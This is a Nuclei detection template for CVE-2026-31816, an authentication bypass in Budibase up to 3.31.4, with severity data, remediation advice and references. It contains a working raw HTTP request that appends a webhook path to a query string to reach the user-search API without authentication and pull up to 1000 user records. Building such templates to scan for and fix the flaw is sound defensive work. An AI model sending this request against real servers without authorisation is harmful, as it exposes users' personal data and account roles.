id: CVE-2026-31816

info:
  name: Budibase - Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
  impact: |
    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.
  remediation: |
    Update to a version later than 3.31.4 or latest available version.
  reference:
    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-31816
    epss-score: 0.15339
    epss-percentile: 0.96354
    cwe-id: CWE-74
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev

http:
  - raw:
      - |
        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-budibase-app-id: {{app_id}}

        {"query":{},"limit":1000}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "email", "roleId", "status")'
        condition: and
# digest: 490a0046304402204714178ba733505785455bca01e9007f856301d49cac5b715c8defce59fe86f9022038830f32f37b827cb531d2d664d86b95be8f94bb0b18f6765bdbc382959be163:922c64590222798bb761d5b6d8e72950